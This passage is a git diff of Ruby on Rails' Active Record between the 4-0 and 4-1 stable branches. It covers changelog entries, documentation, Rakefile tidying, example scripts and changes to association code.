-*   Added custom coders support for ActiveRecord::Store. Now you can set
-    your custom coder like this:
+    *Yves Senn*
 
-        store :settings, accessors: [ :color, :homepage ], coder: JSON
+*   Ambiguous reflections are on :through relationships are no longer supported.
+    For example, you need to change this:
 
-    *Andrey Voronkov*
+        class Author < ActiveRecord::Base
+          has_many :posts
+          has_many :taggings, through: :posts
+        end
 
-*   `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by
-    default to avoid silent data loss. This can be disabled by specifying
-    `strict: false` in your `database.yml`.
+        class Post < ActiveRecord::Base
+          has_one :tagging
+          has_many :taggings
+        end
 
-    *Michael Pearson*
+        class Tagging < ActiveRecord::Base
+        end
 
-*   Added default order to `first` to assure consistent results among
-    different database engines. Introduced `take` as a replacement to
-    the old behavior of `first`.
+    To this:
 
-    *Marcelo Silveira*
+        class Author < ActiveRecord::Base
+          has_many :posts
+          has_many :taggings, through: :posts, source: :tagging
+        end
 
-*   Added an `:index` option to automatically create indexes for references
-    and belongs_to statements in migrations.
+        class Post < ActiveRecord::Base
+          has_one :tagging
+          has_many :taggings
+        end
 
-    The `references` and `belongs_to` methods now support an `index`
-    option that receives either a boolean value or an options hash
-    that is identical to options available to the add_index method:
+        class Tagging < ActiveRecord::Base
+        end
 
-      create_table :messages do |t|
-        t.references :person, index: true
-      end
+    *Aaron Patterson*
 
-      Is the same as:
+*   Remove column restrictions for `count`, let the database raise if the SQL is
+    invalid. The previous behavior was untested and surprising for the user.
+    Fixes #5554.
 
-      create_table :messages do |t|
-        t.references :person
-      end
-      add_index :messages, :person_id
+    Example:
 
-    Generators have also been updated to use the new syntax.
+        User.select("name, username").count
+        # Before => SELECT count(*) FROM users
+        # After => ActiveRecord::StatementInvalid
 
-    *Joshua Wood*
+        # you can still use `count(:all)` to perform a query unrelated to the
+        # selected columns
+        User.select("name, username").count(:all) # => SELECT count(*) FROM users
 
-*   Added `#find_by` and `#find_by!` to mirror the functionality
-    provided by dynamic finders in a way that allows dynamic input more
-    easily:
+    *Yves Senn*
 
-        Post.find_by name: 'Spartacus', rating: 4
-        Post.find_by "published_at < ?", 2.weeks.ago
-        Post.find_by! name: 'Spartacus'
+*   Rails now automatically detects inverse associations. If you do not set the
+    `:inverse_of` option on the association, then Active Record will guess the
+    inverse association based on heuristics.
 
-    *Jon Leighton*
+    Note that automatic inverse detection only works on `has_many`, `has_one`,
+    and `belongs_to` associations. Extra options on the associations will
+    also prevent the association's inverse from being found automatically.
 
-*   Added ActiveRecord::Base#slice to return a hash of the given methods with
-    their names as keys and returned values as values.
+    The automatic guessing of the inverse association uses a heuristic based
+    on the name of the class, so it may not work for all associations,
+    especially the ones with non-standard names.
 
-    *Guillermo Iguaran*
+    You can turn off the automatic detection of inverse associations by setting
+    the `:inverse_of` option to `false` like so:
 
-*   Deprecate eager-evaluated scopes.
+        class Taggable < ActiveRecord::Base
+          belongs_to :tag, inverse_of: false
+        end
 
-    Don't use this:
+    *John Wang*
 
-        scope :red, where(color: 'red')
-        default_scope where(color: 'red')
+*   Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432.
 
-    Use this:
+    *Adam Anderson*
 
-        scope :red, -> { where(color: 'red') }
-        default_scope { where(color: 'red') }
+*   Usage of `implicit_readonly` is being removed`. Please use `readonly` method
+    explicitly to mark records as `readonly.
+    Fixes #10615.
 
-    The former has numerous issues. It is a common newbie gotcha to do
-    the following:
+    Example:
 
-        scope :recent, where(published_at: Time.now - 2.weeks)
+        user = User.joins(:todos).select("users.*, todos.title as todos_title").readonly(true).first
+        user.todos_title = 'clean pet'
+        user.save! # will raise error
 
-    Or a more subtle variant:
+    *Yves Senn*
 
-        scope :recent, -> { where(published_at: Time.now - 2.weeks) }
-        scope :recent_red, recent.where(color: 'red')
+*   Fix the `:primary_key` option for `has_many` associations.
 
-    Eager scopes are also very complex to implement within Active
-    Record, and there are still bugs. For example, the following does
-    not do what you expect:
+    Fixes #10693.
 
-        scope :remove_conditions, except(:where)
-        where(...).remove_conditions # => still has conditions
+    *Yves Senn*
 
-    *Jon Leighton*
+*   Fix bug where tiny types are incorrectly coerced as boolean when the length is more than 1.
 
-*   Remove IdentityMap
+    Fixes #10620.
 
-    IdentityMap has never graduated to be an "enabled-by-default" feature, due
-    to some inconsistencies with associations, as described in this commit:
+    *Aaron Patterson*
 
-       https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6
+*   Also support extensions in PostgreSQL 9.1. This feature has been supported since 9.1.
 
-    Hence the removal from the codebase, until such issues are fixed.
+    *kennyj*
 
-    *Carlos Antonio da Silva*
+*   Deprecate `ConnectionAdapters::SchemaStatements#distinct`,
+    as it is no longer used by internals.
 
-*   Added the schema cache dump feature.
+    *Ben Woosley*
 
-    `Schema cache dump` feature was implemented. This feature can dump/load internal state of `SchemaCache` instance
-    because we want to boot rails more quickly when we have many models.
+*   Fix pending migrations error when loading schema and `ActiveRecord::Base.table_name_prefix`
+    is not blank.
 
-    Usage notes:
+    Call `assume_migrated_upto_version` on connection to prevent it from first
+    being picked up in `method_missing`.
 
-      1) execute rake task.
-      RAILS_ENV=production bundle exec rake db:schema:cache:dump
-      => generate db/schema_cache.dump
+    In the base class, `Migration`, `method_missing` expects the argument to be a
+    table name, and calls `proper_table_name` on the arguments before sending to
+    `connection`. If `table_name_prefix` or `table_name_suffix` is used, the schema
+    version changes to `prefix_version_suffix`, breaking `rake test:prepare`.
 
-      2) add config.active_record.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+    Fixes #10411.
 
-      3) boot rails.
-      RAILS_ENV=production bundle exec rails server
-      => use db/schema_cache.dump
+    *Kyle Stevens*
 
-      4) If you remove clear dumped cache, execute rake task.
-      RAILS_ENV=production bundle exec rake db:schema:cache:clear
-      => remove db/schema_cache.dump
+*   Method `read_attribute_before_type_cast` should accept input as symbol.
 
-    *kennyj*
+    *Neeraj Singh*
 
-*   Added support for partial indices to PostgreSQL adapter.
+*   Confirm a record has not already been destroyed before decrementing counter cache.
 
-    The `add_index` method now supports a `where` option that receives a
-    string with the partial index criteria.
+    *Ben Tucker*
 
-        add_index(:accounts, :code, where: 'active')
+*   Fixed a bug in `ActiveRecord#sanitize_sql_hash_for_conditions` in which
+    `self.class` is an argument to `PredicateBuilder#build_from_hash`
+    causing `PredicateBuilder` to call non-existent method
+    `Class#reflect_on_association`.
 
-    generates
+    *Zach Ohlgren*
 
-        CREATE INDEX index_accounts_on_code ON accounts(code) WHERE active
+*   While removing index if column option is missing then raise IrreversibleMigration exception.
 
-    *Marcelo Silveira*
+    Following code should raise `IrreversibleMigration`. But the code was
+    failing since options is an array and not a hash.
 
-*   Implemented `ActiveRecord::Relation#none` method.
+        def change
+          change_table :users do |t|
+            t.remove_index [:name, :email]
+          end
+        end
 
-    The `none` method returns a chainable relation with zero records
-    (an instance of the NullRelation class).
+    Fix was to check if the options is a Hash before operating on it.
 
-    Any subsequent condition chained to the returned relation will continue
-    generating an empty relation and will not fire any query to the database.
+    Fixes #10419.
 
-    *Juanjo Bazán*
+    *Neeraj Singh*
 
-*   Added the `ActiveRecord::NullRelation` class implementing the null
-    object pattern for the Relation class.
+*   Do not overwrite manually built records during one-to-one nested attribute assignment
 
-    *Juanjo Bazán*
+    For one-to-one nested associations, if you build the new (in-memory)
+    child object yourself before assignment, then the NestedAttributes
+    module will not overwrite it, e.g.:
 
-*   Added new `dependent: :restrict_with_error` option. This will add
-    an error to the model, rather than raising an exception.
+        class Member < ActiveRecord::Base
+          has_one :avatar
+          accepts_nested_attributes_for :avatar
 
-    The `:restrict` option is renamed to `:restrict_with_exception` to
-    make this distinction explicit.
+          def avatar
+            super || build_avatar(width: 200)
+          end
+        end
 
-    *Manoj Kumar & Jon Leighton*
+        member = Member.new
+        member.avatar_attributes = {icon: 'sad'}
+        member.avatar.width # => 200
 
-*   Added `create_join_table` migration helper to create HABTM join tables.
+    *Olek Janiszewski*
 
-        create_join_table :products, :categories
-        # =>
-        # create_table :categories_products, id: false do |td|
-        #   td.integer :product_id,  null: false
-        #   td.integer :category_id, null: false
-        # end
+*   fixes bug introduced by #3329. Now, when autosaving associations,
+    deletions happen before inserts and saves. This prevents a 'duplicate
+    unique value' database error that would occur if a record being created had
+    the same value on a unique indexed field as that of a record being destroyed.
 
-    *Rafael Mendonça França*
+    *Johnny Holton*
 
-*   The primary key is always initialized in the @attributes hash to `nil` (unless
-    another value has been specified).
+*   Handle aliased attributes in ActiveRecord::Relation.
 
-    *Aaron Patterson*
+    When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database:
 
-*   In previous releases, the following would generate a single query with
-    an `OUTER JOIN comments`, rather than two separate queries:
+    With the model
 
-        Post.includes(:comments)
-            .where("comments.name = 'foo'")
+        class Topic
+          alias_attribute :heading, :title
+        end
 
-    This behaviour relies on matching SQL string, which is an inherently
-    flawed idea unless we write an SQL parser, which we do not wish to
-    do.
+    The call
 
-    Therefore, it is now deprecated.
+        Topic.where(heading: 'The First Topic')
 
-    To avoid deprecation warnings and for future compatibility, you must
-    explicitly state which tables you reference, when using SQL snippets:
+    should yield the same result as
 
-        Post.includes(:comments)
-            .where("comments.name = 'foo'")
-            .references(:comments)
+        Topic.where(title: 'The First Topic')
 
-    Note that you do not need to explicitly specify references in the
-    following cases, as they can be automatically inferred:
+    This also applies to ActiveRecord::Relation::Calculations calls such as `Model.sum(:aliased)` and `Model.pluck(:aliased)`.
 
-        Post.includes(:comments).where(comments: { name: 'foo' })
-        Post.includes(:comments).where('comments.name' => 'foo')
-        Post.includes(:comments).order('comments.name')
+    This will not work with SQL fragment strings like `Model.sum('DISTINCT aliased')`.
 
-    You do not need to worry about this unless you are doing eager
-    loading. Basically, don't worry unless you see a deprecation warning
-    or (in future releases) an SQL error due to a missing JOIN.
+    *Godfrey Chan*
 
-    *Jon Leighton*
+*   Mute `psql` output when running rake db:schema:load.
 
-*   Support for the `schema_info` table has been dropped. Please
-    switch to `schema_migrations`.
+    *Godfrey Chan*
 
-    *Aaron Patterson*
+*   Trigger a save on `has_one association=(associate)` when the associate contents have changed.
 
-*   Connections *must* be closed at the end of a thread. If not, your
-    connection pool can fill and an exception will be raised.
+    Fixes #8856.
 
-    *Aaron Patterson*
+    *Chris Thompson*
 
-*   PostgreSQL hstore records can be created.
+*   Abort a rake task when missing db/structure.sql like `db:schema:load` task.
 
-    *Aaron Patterson*
+    *kennyj*
 
-*   PostgreSQL hstore types are automatically deserialized from the database.
+*   rake:db:test:prepare falls back to original environment after execution.
 
-    *Aaron Patterson*
+    *Slava Markevich*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activerecord/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 0d7fb86..2950f05 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index 19faeec..8b1a809 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -175,7 +175,7 @@ by relying on a number of conventions that make it easy for Active Record to inf
 complex relations and structures from a minimal amount of explicit direction.
 
 Convention over Configuration:
-* No XML-files!
+* No XML files!
 * Lots of reflection and run-time extension
 * Magic is not inherently a bad word
 
@@ -192,7 +192,7 @@ The latest version of Active Record can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/4-0-stable/activerecord
+* https://github.com/rails/rails/tree/4-1-stable/activerecord
 
 
 == License
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
index 2f3d516..ca1f2fd 100644
--- a/activerecord/RUNNING_UNIT_TESTS.rdoc
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -1,31 +1,44 @@
 == Setup
 
-If you don't have the environment set make sure to read
-
-    http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#testing-active-record
+If you don't have an environment for running tests, read
+http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment
 
 == Running the Tests
 
-You can run a particular test file from the command line, e.g.
+To run a specific test:
+
+  $ ruby -Itest test/cases/base_test.rb -n method_name
+
+To run a set of tests:
 
   $ ruby -Itest test/cases/base_test.rb
 
-To run a specific test:
+You can also run tests that depend upon a specific database backend. For
+example:
 
-  $ ruby -Itest test/cases/base_test.rb -n test_something_works
+  $ bundle exec rake test_sqlite3
 
-You can run with a database other than the default you set in test/config.yml, using the ARCONN
-environment variable:
+Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
 
-  $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
+  $ bundle exec rake test_mysql
+  $ bundle exec rake test_mysql2
+  $ bundle exec rake test_postgresql
+  $ bundle exec rake test_sqlite3
+  $ bundle exec rake test_sqlite3_mem
 
-You can run all the tests for a given database via rake:
+There should be tests available for each database backend listed in the {Config
+File}[rdoc-label:label-Config+File]. (the exact set of available tests is
+defined in +Rakefile+)
 
-  $ rake test_mysql
+== Config File
 
-The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql.
+If +test/config.yml+ is present, it's parameters are obeyed. Otherwise, the
+parameters in +test/config.example.yml+ are obeyed.
 
-== Custom Config file
+You can override the +connections:+ parameter in either file using the +ARCONN+
+(Active Record CONNection) environment variable:
+
+  $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
 
-By default, the config file is expected to be at the path test/config.yml. You can specify a
-custom location with the ARCONFIG environment variable.
+You can specify a custom location for the config file using the +ARCONFIG+
+environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index cd73489..6f8948f 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -1,5 +1,4 @@
 require 'rake/testtask'
-require 'rake/packagetask'
 require 'rubygems/package_task'
 
 require File.expand_path(File.dirname(__FILE__)) + "/test/config"
@@ -40,8 +39,10 @@ namespace :test do
 end
 
 namespace :db do
-  task :create => ['mysql:build_databases', 'postgresql:build_databases']
-  task :drop => ['mysql:drop_databases', 'postgresql:drop_databases']
+  desc 'Build MySQL and PostgreSQL test databases'
+  task create: ['mysql:build_databases', 'postgresql:build_databases']
+  desc 'Drop MySQL and PostgreSQL test databases'
+  task drop: ['mysql:drop_databases', 'postgresql:drop_databases']
 end
 
 %w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
@@ -59,11 +60,10 @@ end
   task "isolated_test_#{adapter}" do
     adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
     puts [adapter, adapter_short].inspect
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
     (Dir["test/cases/**/*_test.rb"].reject {
       |x| x =~ /\/adapters\//
     } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
-      sh(ruby, "-Itest", file)
+      sh(Gem.ruby, '-w' ,"-Itest", file)
     end or raise "Failures"
   end
 
@@ -120,12 +120,9 @@ namespace :postgresql do
     %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
     %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
 
-    # prepare hstore
-    version = %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2")
-    %w(arunit arunit2).each do |db|
-      if version < "9.1.0"
-        puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
-      end
+    # notify about preparing hstore
+    if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0"
+      puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
     end
   end
 
@@ -223,7 +220,7 @@ end
 
 # Publishing ------------------------------------------------------
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task :release => :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 337106c..d397c9e 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -24,6 +24,5 @@ Gem::Specification.new do |s|
   s.add_dependency 'activesupport', version
   s.add_dependency 'activemodel',   version
 
-  s.add_dependency 'arel',                            '~> 4.0.0'
-  s.add_dependency 'activerecord-deprecated_finders', '~> 1.0.2'
+  s.add_dependency 'arel', '~> 5.0.0'
 end
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index ad12f85..d3546ce 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -5,12 +5,12 @@ require 'benchmark/ips'
 TIME    = (ENV['BENCHMARK_TIME'] || 20).to_i
 RECORDS = (ENV['BENCHMARK_RECORDS'] || TIME*1000).to_i
 
-conn = { :adapter => 'sqlite3', :database => ':memory:' }
+conn = { adapter: 'sqlite3', database: ':memory:' }
 
 ActiveRecord::Base.establish_connection(conn)
 
 class User < ActiveRecord::Base
-  connection.create_table :users, :force => true do |t|
+  connection.create_table :users, force: true do |t|
     t.string :name, :email
     t.timestamps
   end
@@ -19,7 +19,7 @@ class User < ActiveRecord::Base
 end
 
 class Exhibit < ActiveRecord::Base
-  connection.create_table :exhibits, :force => true do |t|
+  connection.create_table :exhibits, force: true do |t|
     t.belongs_to :user
     t.string :name
     t.text :notes
@@ -43,6 +43,8 @@ class Exhibit < ActiveRecord::Base
   def self.feel(exhibits) exhibits.each { |e| e.feel } end
 end
 
+def progress_bar(int); print "." if (int%100).zero? ; end
+
 puts 'Generating data...'
 
 module ActiveRecord
@@ -75,30 +77,32 @@ notes = ActiveRecord::Faker::LOREM.join ' '
 today = Date.today
 
 puts "Inserting #{RECORDS} users and exhibits..."
-RECORDS.times do
+RECORDS.times do |record|
   user = User.create(
-    :created_at => today,
-    :name       => ActiveRecord::Faker.name,
-    :email      => ActiveRecord::Faker.email
+    created_at: today,
+    name: ActiveRecord::Faker.name,
+    email: ActiveRecord::Faker.email
   )
 
   Exhibit.create(
-    :created_at => today,
-    :name       => ActiveRecord::Faker.name,
-    :user       => user,
-    :notes      => notes
+    created_at: today,
+    name: ActiveRecord::Faker.name,
+    user: user,
+    notes: notes
   )
+  progress_bar(record)
 end
+puts "Done!\n"
 
 Benchmark.ips(TIME) do |x|
   ar_obj       = Exhibit.find(1)
-  attrs        = { :name => 'sam' }
-  attrs_first  = { :name => 'sam' }
-  attrs_second = { :name => 'tom' }
+  attrs        = { name: 'sam' }
+  attrs_first  = { name: 'sam' }
+  attrs_second = { name: 'tom' }
   exhibit      = {
-    :name       => ActiveRecord::Faker.name,
-    :notes      => notes,
-    :created_at => Date.today
+    name: ActiveRecord::Faker.name,
+    notes: notes,
+    created_at: Date.today
   }
 
   x.report("Model#id") do
@@ -117,10 +121,18 @@ Benchmark.ips(TIME) do |x|
     Exhibit.first.look
   end
 
+  x.report 'Model.take' do 
+    Exhibit.take
+  end
+  
   x.report("Model.all limit(100)") do
     Exhibit.look Exhibit.limit(100)
   end
 
+  x.report("Model.all take(100)") do
+    Exhibit.look Exhibit.take(100)
+  end
+
   x.report "Model.all limit(100) with relationship" do
     Exhibit.feel Exhibit.limit(100).includes(:user)
   end
@@ -167,6 +179,6 @@ Benchmark.ips(TIME) do |x|
   end
 
   x.report "AR.execute(query)" do
-    ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}")
+    ActiveRecord::Base.connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
   end
 end
diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb
index c12f746..4ed5d80 100644
--- a/activerecord/examples/simple.rb
+++ b/activerecord/examples/simple.rb
@@ -1,14 +1,14 @@
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/../lib"
+require File.expand_path('../../../load_paths', __FILE__)
 require 'active_record'
 
 class Person < ActiveRecord::Base
-  establish_connection :adapter => 'sqlite3', :database => 'foobar.db'
-  connection.create_table table_name, :force => true do |t|
+  establish_connection adapter: 'sqlite3', database: 'foobar.db'
+  connection.create_table table_name, force: true do |t|
     t.string :name
   end
 end
 
-bob = Person.create!(:name => 'bob')
+bob = Person.create!(name: 'bob')
 puts Person.all.inspect
 bob.destroy
 puts Person.all.inspect
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 994cacb..f856c48 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -25,7 +25,6 @@ require 'active_support'
 require 'active_support/rails'
 require 'active_model'
 require 'arel'
-require 'active_record/deprecated_finders'
 
 require 'active_record/version'
 
@@ -38,6 +37,7 @@ module ActiveRecord
   autoload :ConnectionHandling
   autoload :CounterCache
   autoload :DynamicMatchers
+  autoload :Enum
   autoload :Explain
   autoload :Inheritance
   autoload :Integration
@@ -45,6 +45,7 @@ module ActiveRecord
   autoload :Migrator, 'active_record/migration'
   autoload :ModelSchema
   autoload :NestedAttributes
+  autoload :NoTouching
   autoload :Persistence
   autoload :QueryCache
   autoload :Querying
@@ -146,13 +147,8 @@ module ActiveRecord
     autoload :MySQLDatabaseTasks,  'active_record/tasks/mysql_database_tasks'
     autoload :PostgreSQLDatabaseTasks,
       'active_record/tasks/postgresql_database_tasks'
-
-    autoload :FirebirdDatabaseTasks, 'active_record/tasks/firebird_database_tasks'
-    autoload :SqlserverDatabaseTasks, 'active_record/tasks/sqlserver_database_tasks'
-    autoload :OracleDatabaseTasks, 'active_record/tasks/oracle_database_tasks'
   end
 
-  autoload :TestCase
   autoload :TestFixtures, 'active_record/fixtures'
 
   def self.eager_load!
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 9d1c12e..0d53139 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -223,7 +223,8 @@ module ActiveRecord
         reader_method(name, class_name, mapping, allow_nil, constructor)
         writer_method(name, class_name, mapping, allow_nil, converter)
 
-        create_reflection(:composed_of, part_id, nil, options, self)
+        reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
+        Reflection.add_aggregate_reflection self, part_id, reflection
       end
 
       private
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
index 20516bb..5a84792 100644
--- a/activerecord/lib/active_record/association_relation.rb
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -9,6 +9,10 @@ module ActiveRecord
       @association
     end
 
+    def ==(other)
+      other == to_a
+    end
+
     private
 
     def exec_queries
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 5e5995f..b772e84 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -4,6 +4,12 @@ require 'active_support/core_ext/module/remove_method'
 require 'active_record/errors'
 
 module ActiveRecord
+  class AssociationNotFoundError < ConfigurationError #:nodoc:
+    def initialize(record, association_name)
+      super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+    end
+  end
+
   class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
     def initialize(reflection, associated_class = nil)
       super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
@@ -44,7 +50,7 @@ module ActiveRecord
     def initialize(reflection)
       through_reflection      = reflection.through_reflection
       source_reflection_names = reflection.source_reflection_names
-      source_associations     = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
+      source_associations     = reflection.through_reflection.klass._reflections.keys
       super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
     end
   end
@@ -73,21 +79,15 @@ module ActiveRecord
     end
   end
 
-  class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
-    end
-  end
-
   class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
     def initialize(reflection)
-      super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+      super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
     end
   end
 
   class ReadOnlyAssociation < ActiveRecordError #:nodoc:
     def initialize(reflection)
-      super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+      super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
     end
   end
 
@@ -114,7 +114,6 @@ module ActiveRecord
 
     autoload :BelongsToAssociation,            'active_record/associations/belongs_to_association'
     autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
-    autoload :HasAndBelongsToManyAssociation,  'active_record/associations/has_and_belongs_to_many_association'
     autoload :HasManyAssociation,              'active_record/associations/has_many_association'
     autoload :HasManyThroughAssociation,       'active_record/associations/has_many_through_association'
     autoload :HasOneAssociation,               'active_record/associations/has_one_association'
@@ -137,7 +136,6 @@ module ActiveRecord
       autoload :JoinDependency,   'active_record/associations/join_dependency'
       autoload :AssociationScope, 'active_record/associations/association_scope'
       autoload :AliasTracker,     'active_record/associations/alias_tracker'
-      autoload :JoinHelper,       'active_record/associations/join_helper'
     end
 
     # Clears out the association cache.
@@ -153,7 +151,7 @@ module ActiveRecord
       association = association_instance_get(name)
 
       if association.nil?
-        reflection  = self.class.reflect_on_association(name)
+        raise AssociationNotFoundError.new(self, name) unless reflection = self.class._reflect_on_association(name)
         association = reflection.association_class.new(self, reflection)
         association_instance_set(name, association)
       end
@@ -164,7 +162,7 @@ module ActiveRecord
     private
       # Returns the specified association instance if it responds to :loaded?, nil otherwise.
       def association_instance_get(name)
-        @association_cache[name.to_sym]
+        @association_cache[name]
       end
 
       # Set the specified association instance.
@@ -172,7 +170,7 @@ module ActiveRecord
         @association_cache[name] = association
       end
 
-    # Associations are a set of macro-like class methods for tying objects together through
+    # \Associations are a set of macro-like class methods for tying objects together through
     # foreign keys. They express relationships like "Project has one Project Manager"
     # or "Project belongs to a Portfolio". Each macro adds a number of methods to the
     # class which are specialized according to the collection or association symbol and the
@@ -365,11 +363,11 @@ module ActiveRecord
     # there is some special behavior you should be aware of, mostly involving the saving of
     # associated objects.
     #
-    # You can set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+    # You can set the <tt>:autosave</tt> option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
     # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
     # to +true+ will _always_ save the members, whereas setting it to +false+ will
-    # _never_ save the members. More details about :autosave option is available at
-    # autosave_association.rb .
+    # _never_ save the members. More details about <tt>:autosave</tt> option is available at
+    # AutosaveAssociation.
     #
     # === One-to-one associations
     #
@@ -402,7 +400,7 @@ module ActiveRecord
     #
     # == Customizing the query
     #
-    # Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
+    # \Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
     # to customize them. For example, to add a condition:
     #
     #   class Blog < ActiveRecord::Base
@@ -568,6 +566,8 @@ module ActiveRecord
     #   @group.avatars << Avatar.new   # this would work if User belonged_to Avatar rather than the other way around
     #   @group.avatars.delete(@group.avatars.last)  # so would this
     #
+    # == Setting Inverses
+    #
     # If you are using a +belongs_to+ on the join model, it is a good idea to set the
     # <tt>:inverse_of</tt> option on the +belongs_to+, which will mean that the following example
     # works correctly (where <tt>tags</tt> is a +has_many+ <tt>:through</tt> association):
@@ -584,7 +584,27 @@ module ActiveRecord
     #     belongs_to :tag, inverse_of: :taggings
     #   end
     #
-    # == Nested Associations
+    # If you do not set the <tt>:inverse_of</tt> record, the association will
+    # do its best to match itself up with the correct inverse. Automatic
+    # inverse detection only works on <tt>has_many</tt>, <tt>has_one</tt>, and
+    # <tt>belongs_to</tt> associations.
+    #
+    # Extra options on the associations, as defined in the
+    # <tt>AssociationReflection::INVALID_AUTOMATIC_INVERSE_OPTIONS</tt> constant, will
+    # also prevent the association's inverse from being found automatically.
+    #
+    # The automatic guessing of the inverse association uses a heuristic based
+    # on the name of the class, so it may not work for all associations,
+    # especially the ones with non-standard names.
+    #
+    # You can turn off the automatic detection of inverse associations by setting
+    # the <tt>:inverse_of</tt> option to <tt>false</tt> like so:
+    #
+    #   class Taggable < ActiveRecord::Base
+    #     belongs_to :tag, inverse_of: false
+    #   end
+    #
+    # == Nested \Associations
     #
     # You can actually specify *any* association with the <tt>:through</tt> option, including an
     # association which has a <tt>:through</tt> option itself. For example:
